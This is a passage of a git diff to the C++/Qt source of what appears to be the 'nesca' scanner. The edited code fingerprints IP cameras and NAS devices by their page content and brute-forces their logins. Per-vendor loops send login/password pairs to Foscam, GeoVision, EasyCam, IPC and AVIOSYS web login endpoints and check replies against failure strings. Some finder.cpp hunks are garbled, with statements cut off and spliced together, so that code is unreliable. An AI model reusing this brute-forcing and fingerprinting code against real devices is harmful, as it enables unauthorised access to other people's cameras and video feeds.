@@ -2287,7 +2327,7 @@ int checkGEO(char *login, char *pass, char *ip, int port)
 		if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) 	
 		{
 #pragma region QTGUI_Area
-			stt->doEmitionRedFoundData("[GEOvis] Send error! [" + QString(ip) + "]");
+			stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]");
 #pragma endregion
 			shutdown(sock, SD_BOTH);
 			closesocket(sock);
@@ -2298,121 +2338,31 @@ int checkGEO(char *login, char *pass, char *ip, int port)
 			if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request));
 			int x = 1;
 			int xx = 0;
-			while(xx < 4096)
+			ZeroMemory(recvBuff2, sizeof(recvBuff2));
+			while(xx < 3072)
 			{
 				ZeroMemory(recvBuff, sizeof(recvBuff));
 				x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO);
-				if(x == 0) break;
-				strcat(recvBuff2, recvBuff);
+				if(x <= 0) break;
+				strncat(recvBuff2, recvBuff, x);
 				xx += x;
 				Activity += x;
 			};
+			if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + ";	- Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
 
 			if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2));
 
-			if(strstri(recvBuff2, "Access denied") == NULL && strstri(recvBuff2, "ErrNoSuchUsr.htm") == NULL)
+			bool result = true;
+			for(int i = 0; i < negVector.size(); ++i)
 			{
-				shutdown(sock, SD_BOTH);
-				closesocket(sock);
-				return 1;
-			};
-		};
-	};
-
-	shutdown(sock, SD_BOTH);
-	closesocket(sock);
-	return 0;
-};
-int checkIPC(char *login, char *pass, char *ip, int port)
-{
-	char request[512] = {0};
-	char recvBuff[256] = {0};
-	char recvBuff2[4096] = {0};
-	strcpy(request, "GET /login.xml?user=");
-	strcat(request, login);
-	strcat(request, "&usr=");
-	strcat(request, login);
-	strcat(request, "&password=");
-	strcat(request, pass);
-	strcat(request, "&pwd=");
-	strcat(request, pass);
-	strcat(request, " HTTP/1.1\r\nHost: ");
-	strcat(request, ip);
-	strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n");
-
-	SOCKET sock;
-	sockaddr_in sockAddr;
-	int bTO; 
-	sockAddr.sin_family = AF_INET;  
-	sockAddr.sin_port = htons(port);
-	HOSTENT *host;  
-#if defined(WIN32)
-	if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip);  
-	else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];  
-	else 
-	{
-#pragma region QTGUI_Area
-		stt->doEmitionRedFoundData("[IPCam] Bad address! [" + QString(ip) + "]");
-#pragma endregion
-	};
-#else
-	if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip);  
-	else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
-	else 
-	{
-#pragma region QTGUI_Area
-		stt->doEmitionRedFoundData("[IPCam] Bad address! [" + QString(ip) + "]");
-#pragma endregion
-	};
-#endif
-	sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
-	int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
-	int cErrCode = WSAGetLastError();
-
-	while(cErrCode == 10038)
-	{
-		shutdown(sock, SD_BOTH);
-		closesocket(sock);
-		sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
-		cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
-		cErrCode = WSAGetLastError();
-		if(gDebugMode) stt->doEmitionDebugFoundData("[IPCam] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
-	};
-
-	if(BALogSwitched) stt->doEmitionBAData("Probing IPC" + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass));
-
-	if(cCode != SOCKET_ERROR) 
-	{
-		int x = 1;
-		Activity += strlen(request);
-
-		if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) 	
-		{
-#pragma region QTGUI_Area
-			stt->doEmitionRedFoundData("[IPCam] Send error! [" + QString(ip) + "]");
-#pragma endregion
-			shutdown(sock, SD_BOTH);
-			closesocket(sock);
-			return 0;
-		}
-		else 
-		{
-			if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request));
-			int x = 1;
-			int xx = 0;
-			while(xx < 4096)
-			{
-				ZeroMemory(recvBuff, sizeof(recvBuff));
-				x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO);
-				if(x == 0) break;
-				strcat(recvBuff2, recvBuff);
-				xx += x;
-				Activity += x;
+				if(strstri(recvBuff2, negVector[i]) != NULL)
+				{
+					result = false;
+					break;
+				};
 			};
 
-			if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2));
-
-			if(strstri(recvBuff2, "Invalid") == NULL)
+			if(result)
 			{
 				shutdown(sock, SD_BOTH);
 				closesocket(sock);
@@ -2431,17 +2381,79 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
 	ZeroMemory(lps.login, sizeof(lps.login));
 	ZeroMemory(lps.pass, sizeof(lps.pass));
 	ZeroMemory(lps.other, sizeof(lps.other));
+	char login[128] = {0};
+	char pass[128] = {0};
+	char request[1024] = {0};
 	OnLiner = 1;
+	int passCounter = 1;
+
+	std::vector negVector;
+	if(strcmp(SPEC, "IPC") == 0)
+	{
+		negVector.push_back("Invalid");
+	}
+	else if(strcmp(SPEC, "GEO") == 0)
+	{
+		negVector.push_back("Access denied");
+		negVector.push_back("ErrNoSuchUsr.htm");
+	}
+	else if(strcmp(SPEC, "EasyCam") == 0)
+	{
+		negVector.push_back("Set-Cookie: usrLevel=-1;path=/");
+	}
+	else if(strcmp(SPEC, "Foscam") == 0)
+	{
+		negVector.push_back("0");
+		negVector.push_back("-1");
+		negVector.push_back("-2");
+		negVector.push_back("-3");
+		negVector.push_back("-4");
+		negVector.push_back("-5");
+		negVector.push_back("-6");
+		negVector.push_back("-7");
+	}
+	else if(strcmp(SPEC, "AVIOSYS") == 0)
+	{
+		negVector.push_back("Password Error");
+	}
+	else
+	{
+		stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
+		OnLiner = 0;
+		strcpy(lps.login, "UNKNOWN");
+		return lps;
+	};
+
 	for(int i = 0; i < MaxLogin; i++)
 	{
 		if(globalScanFlag == false) break;
+		if(strcmp(loginLst[i], " ") == 0) continue;
+		ZeroMemory(login, 128);
+		strcpy(login, loginLst[i]);
 		for(int j = 0; j < MaxPass; j++)
 		{
 			if(globalScanFlag == false) break;
+			if(strcmp(passLst[j], " ") == 0) continue;
+			
+			ZeroMemory(pass, 128);
+			strcpy(pass, passLst[j]);
 
+			ZeroMemory(request, 1024);
 			if(strcmp(SPEC, "IPC") == 0)
 			{
-				if(checkIPC(loginLst[i], passLst[j], ip, port) == 1)
+				strcpy(request, "GET /login.xml?user=");
+				strcat(request, login);
+				strcat(request, "&usr=");
+				strcat(request, login);
+				strcat(request, "&password=");
+				strcat(request, pass);
+				strcat(request, "&pwd=");
+				strcat(request, pass);
+				strcat(request, " HTTP/1.1\r\nHost: ");
+				strcat(request, ip);
+				strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n");
+
+				if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1)
 				{
 					OnLiner = 0;
 					strcpy(lps.login, loginLst[i]);
@@ -2451,7 +2463,15 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
 			}
 			else if(strcmp(SPEC, "GEO") == 0)
 			{
-				if(checkGEO(loginLst[i], passLst[j], ip, port) == 1)
+				strcpy(request, "GET /Login.cgi?username=");
+				strcat(request, login);
+				strcat(request, "&password=");
+				strcat(request, pass);
+				strcat(request, " HTTP/1.1\r\nHost: ");
+				strcat(request, ip);
+				strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n");
+
+				if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1)
 				{
 					OnLiner = 0;
 					strcpy(lps.login, loginLst[i]);
@@ -2459,10 +2479,69 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
 					return lps;
 				};
 			}
-			else
+			else if(strcmp(SPEC, "EasyCam") == 0)
 			{
-				stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");						
+				strcpy(request, "GET /login.xml?user=");
+				strcat(request, login);
+				strcat(request, "&usr=");
+				strcat(request, login);
+				strcat(request, "&password=");
+				strcat(request, pass);
+				strcat(request, "&pwd=");
+				strcat(request, pass);
+				strcat(request, " HTTP/1.1\r\nHost: ");
+				strcat(request, ip);
+				strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n");
+
+				if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1)
+				{
+					OnLiner = 0;
+					strcpy(lps.login, login);
+					strcpy(lps.pass, pass);
+					return lps;
+				};
+			}
+			else if(strcmp(SPEC, "Foscam") == 0)
+			{
+				strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr=");
+				strcat(request, login);
+				strcat(request, "&pwd=");
+				strcat(request, pass);
+				strcat(request, "&cmd=logIn&usrName=");
+				strcat(request, login);
+				strcat(request, "&pwd=");
+				strcat(request, pass);
+				strcat(request, " HTTP/1.1\r\nHost: ");
+				strcat(request, ip);
+				strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n");
+
+				if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1)
+				{
+					OnLiner = 0;
+					strcpy(lps.login, login);
+					strcpy(lps.pass, pass);
+					return lps;
+				};
+			}
+			else if(strcmp(SPEC, "AVIOSYS") == 0)
+			{
+				strcpy(request, "GET /check_user.html?UserName=");
+				strcat(request, login);
+				strcat(request, "&PassWord=");
+				strcat(request, pass);
+				strcat(request, " HTTP/1.1\r\nHost: ");
+				strcat(request, ip);
+				strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n");
+
+				if(_webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector) == 1)
+				{
+					OnLiner = 0;
+					strcpy(lps.login, loginLst[i]);
+					strcpy(lps.pass, passLst[j]);
+					return lps;
+				};
 			};
+			++passCounter;
 		};
 	};
 	OnLiner = 0;
@@ -2471,60 +2550,132 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
 };
 lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC)
 {
+	while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
+
 	BConInc();
 	lopaStr res = _IPCameraBrute(ip, port, SPEC);
 	BConDec();
+	
 	return res;
 };
 #pragma endregion
 
+int _pingMyTarget(char *ip)
+{
+	HANDLE hIcmpFile;
+    unsigned long ipaddr = INADDR_NONE;
+    DWORD dwRetVal = 0;
+    char SendData[32] = "Data Buffer";
+    LPVOID ReplyBuffer = NULL;
+    DWORD ReplySize = 0;
+    
+    ipaddr = inet_addr(ip);
+
+    if (ipaddr == INADDR_NONE) 
+	{
+		stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]");
+		return 0;
+    }
+    
+    hIcmpFile = IcmpCreateFile();
+    if (hIcmpFile == INVALID_HANDLE_VALUE) 
+	{
+		stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]");
+		return 0;
+   }    
+
+    ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData);
+    ReplyBuffer = (VOID*) malloc(ReplySize);
+    if (ReplyBuffer == NULL) 
+	{
+		stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory.");
+		return 0;
+    }    
+    
+    
+    dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), 
+        NULL, ReplyBuffer, ReplySize, gPingTimeout);
+    if (dwRetVal != 0) {
+        PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer;
+        struct in_addr ReplyAddr;
+        ReplyAddr.S_un.S_addr = pEchoReply->Address;
+        printf("\tSent icmp message to %s\n", "127.0.0.1");
+        if (dwRetVal > 1) 
+		{
+			if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses.");
+        }    
+        else 
+		{    
+			if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses.");
+        }    
+		
+		if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms.");
+		return 1;
+    }
+    else 
+	{
+        printf("\tCall to IcmpSendEcho failed.\n");
+        printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() );
+		if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError()));
+		return 0;
+    };
+};
+
 QString strIP;
 QString strPort;
 const char *buff1 = "GET / HTTP/1.1\r\nHost: ";
 const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0\r\n\r\n";
 void Connector::_ConnectToPort(char *ip, const char *portC, char *hl)											
 {	
-	char mes[512] = {0};
-	conSTR CSTR;
-	CSTR.lowerBuff = NULL;
-	CSTR.size = 0;
-
-	int strFlag = 0;
-	strcpy(mes, buff1);
-	strcat(mes, ip);
-	strcat(mes, buff2);
-	int port = atoi(portC);
-	int cRes;
-	
-	if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR);
-	else if(port == 22) 
+	if(gPingNScan)
 	{
-		char banner[256] = {0};
-		strncpy(banner, _get_ssh_banner(ip), 256);
-		if(strlen(banner) > 0)
+		if(_pingMyTarget(ip) == 0)
 		{
-			cRes = _EstablishSSHConnection(ip, &CSTR, banner);
+			return;
 		};
-	}
-	else cRes = _EstablishConnection(ip, port, mes, &CSTR);
-	int size = CSTR.size;
-
-	if(size > 0 && cRes != -1)
-	{
-		++Alive;
-		++found;
-		stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
-
-		Lexems lx;
-		lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl);
-		delete []CSTR.lowerBuff;
-		CSTR.lowerBuff = NULL;
 	};
-
-	if(CSTR.lowerBuff != NULL) 
-	{
-		delete []CSTR.lowerBuff;
+	
+		char mes[512] = {0};
+		conSTR CSTR;
 		CSTR.lowerBuff = NULL;
-	};
-	strFlag = 1;
+		CSTR.size = 0;
+
+		int strFlag = 0;
+		strcpy(mes, buff1);
+		strcat(mes, ip);
+		strcat(mes, buff2);
+		int port = atoi(portC);
+		int cRes;
+	
+		if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR);
+		else if(port == 22) 
+		{
+			char banner[256] = {0};
+			strncpy(banner, _get_ssh_banner(ip), 256);
+			if(strlen(banner) > 0)
+			{
+				cRes = _EstablishSSHConnection(ip, &CSTR, banner);
+			};
+		}
+		else cRes = _EstablishConnection(ip, port, mes, &CSTR);
+		int size = CSTR.size;
+
+		if(size > 0 && cRes != -1)
+		{
+			++Alive;
+			++found;
+			stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
+
+			Lexems lx;
+			lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl);
+			delete []CSTR.lowerBuff;
+			CSTR.lowerBuff = NULL;
+		};
+
+		if(CSTR.lowerBuff != NULL) 
+		{
+			delete []CSTR.lowerBuff;
+			CSTR.lowerBuff = NULL;
+		};
+		strFlag = 1;
 };
\ No newline at end of file
diff --git a/darkmap.h b/darkmap.h
deleted file mode 100755
index 142f5a7..0000000
--- a/darkmap.h
+++ /dev/null
@@ -1,29 +0,0 @@
-#ifndef DARKMAP_H
-#define DARKMAP_H
-
-#pragma once
-#include "nesca_3.h"
-#include "resource.h"
-
-class DarkMap : public QThread
-{
-	Q_OBJECT
-
-public:
-	static int cou;
-	static int qwmGrWidth;
-	static int qwmGrHeight;
-	static void doEmitionDrawText();
-
-public: signals: void sDrawText();
-
-public:
-	void doEmitDrawText();
-
-protected:
-	void run();
-};
-
-extern DarkMap *dmTh;
-
-#endif // DARKMAP_H
diff --git a/finder.cpp b/finder.cpp
index 4e04279..a88e4bb 100755
--- a/finder.cpp
+++ b/finder.cpp
@@ -16,7 +16,7 @@ char* __cdecl strstri(char *_Str, const char *_SubStr)
 };
 
 bool gGlobalTrackLocked = false;
-char *FindFirstOcc(char *str, char *delim)
+char *_findFirstOcc(char *str, char *delim)
 {
 	int sz = strlen(str);
 	int dsz = strlen(delim);
@@ -28,7 +28,8 @@ char *FindFirstOcc(char *str, char *delim)
 		};
 	};
 
-	return str;
+	//return str;
+	return NULL;
 };
 char *FindLastOcc(char *str, char *delim)
 {
@@ -55,56 +56,84 @@ char *GetCodePage(char *str)
 		if(strstri((char *)(temp2 + strlen("doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
 			};
-			strncpy(cdpg, (char *)(temp3 + strlen("charset=")), (ln > 32) ? 32 : ln );
-			if(strstri(cdpg, "%s") != NULL) return "UTF-8";
-			return cdpg;
 		}
 		else if(strstri((char *)(temp2 + strlen("doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
 			};
-			strncpy(cdpg, (char *)(temp3 + strlen("charset = ")), (ln > 32) ? 32 : ln );
-			if(strstri(cdpg, "%s") != NULL) return "UTF-8";
-			return cdpg;
 		}
 		else if(strstri((char *)(temp2 + strlen("doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
 			};
-			strncpy(cdpg, (char *)(temp3 + strlen("charset =")), (ln > 32) ? 32 : ln );
-			if(strstri(cdpg, "%s") != NULL) return "UTF-8";
-			return cdpg;
 		}
 		else
 		{
 			if(strstri(str, "charset=") != NULL)
 			{
 				char *temp2 = strstri(str, "charset=");
-				char *temp3 = FindFirstOcc((char *)(temp2 + strlen("charset=")), " \"'\n\r");
-				int ln = (int)(temp3 - temp2 - strlen("charset="));
-				if(ln > 16) 
+				char *temp3 = _findFirstOcc((char *)(temp2 + strlen("charset=")), " \"'\n\r");
+				if(temp3 != NULL)
 				{
-					return "WTF?";
-				};
-				strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln );
-				if(strstri(cdpg, "%s") != NULL) return "UTF-8";
-				return cdpg;	
+					int ln = (int)(temp3 - temp2 - strlen("charset="));
+					if(ln > 16) 
+					{
+						return "WTF?";
+					};
+					strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln );
+					if(strstri(cdpg, "%s") != NULL) return "UTF-8";
+					return cdpg;
+				}
+				else
+				{
+					stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
+				}
 			}
 			else
 			{
@@ -115,22 +144,29 @@ char *GetCodePage(char *str)
 	else if(strstri(str, "charset=") != NULL)
 	{
 		char *temp2 = strstri(str, "charset=");
-		char *temp3 = FindFirstOcc((char *)(temp2 + strlen("charset=")), " \"'\n\r");
-		int ln = (int)(temp3 - temp2 - strlen("charset="));
-		if(ln > 16) 
+		char *temp3 = _findFirstOcc((char *)(temp2 + strlen("charset=")), " \"'\n\r");
+		if(temp3 != NULL)
 		{
-			return "WTF?";
+			int ln = (int)(temp3 - temp2 - strlen("charset="));
+			if(ln > 16) 
+			{
+				return "WTF?";
+			};
+			strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln );
+			if(strstri(cdpg, "%s") != NULL) return "UTF-8";
+			return cdpg;
+		}
+		else
+		{
+			stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
 		};
-		strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln );
-		if(strstri(cdpg, "%s") != NULL) return "UTF-8";
-		return cdpg;	
 	}
 	else
 	{
 		return "NULL";
 	};
 };
-int Lexems::globalSearchNeg(const char *buffcp, char *ip)
+int Lexems::globalSearchNeg(const char *buffcp, char *ip, int port)
 {
 	if(strlen(buffcp) == 0) return -1;
 		
@@ -149,7 +185,7 @@ int Lexems::globalSearchNeg(const char *buffcp, char *ip)
 			{
 				if(gNegDebugMode)
 				{
-					stt->doEmitionDebugFoundData("[" + QString(ip) + "" + "] Negative hit: \"" + QString::fromLocal8Bit(negWord).toHtmlEscaped() + "\"");
+					stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Negative hit: \"" + QString::fromLocal8Bit(negWord).toHtmlEscaped() + "\"");
 					if(strlen(negWord) < 2) 
 					{
 						stt->doEmitionDebugFoundData("		Len:" + QString::number(strlen(negWord)));
@@ -232,7 +268,6 @@ int _mainFinderFirst(char *buffcp, int f, int port, char *ip)
 	if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control
 	if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384
 	if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40
-	
 	if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera
 	if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera
 	if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera
@@ -242,43 +277,53 @@ int _mainFinderFirst(char *buffcp, int f, int port, char *ip)
 	if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX
 	if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams
 	if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //IPC web ip cam
-	if(strstr(buffcpy, "geovision") != NULL && strstr(buffcpy, "ip camera") != NULL) return 33; //GEO web ip cam
-
+	if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
+	if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
+		|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
+	if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam
+	if(strstr(buffcpy, "panasonic") != NULL && (strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL)) return 36; //Panasonic Cam
+	if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
+	if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
+	if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye
+	if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300
+	if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
+	 
 	if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || 
 		(strstri(buffcpy, "220 diskStation ftp server ready") != NULL) ||
 		(strstri(buffcpy, "220 ftp server ready") != NULL)
 		|| strstr(buffcpy, "500 'get': command not understood") != NULL
 		) return 16; // 16 - FTP
-	
+	if(strstr(buffcpy, "camera web server") != NULL		|| strstr(buffcpy, "webcamxp 5") != NULL
+		|| strstr(buffcpy, "ip box camera") != NULL		|| strstr(buffcpy, "snaff") != NULL
+		|| strstr(buffcpy, "hfs /") != NULL				|| strstr(buffcpy, "httpfileserver") != NULL
+		|| strstr(buffcpy, "network camera server") != NULL
+		|| strstr(buffcpy, "ipcamera") != NULL			|| strstr(buffcpy, "$lock extended") != NULL
+		|| strstr(buffcpy, "ip camera") != NULL
+		|| strstr(buffcpy, "ipcam_language") != NULL
+		|| strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL
+		|| strstr(buffcpy, "sanpshot_icon") != NULL		|| strstr(buffcpy, "snapshot_icon") != NULL
+		|| strstr(buffcpy, "ipcam") != NULL
+		) return 0;
 	if(strstr(buffcpy, "
doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Size < 160 bytes."); - }; - return -1; - } - else if(strlen(buffcpy) < 500) + //if(strlen(buffcpy) <= 160 && port != 21 && strstr(buffcpy, "[OVERFLOW]") == NULL) + //{ + // if(gNegDebugMode) + // { + // stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Size < 160 bytes."); + // }; + // return -1; + //} + //else + if(strlen(buffcpy) < 500) { if(f) return 7; }; @@ -331,36 +376,45 @@ int _mainFinderSecond(char *buffcp, int port, char *ip) if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //web ip cam - 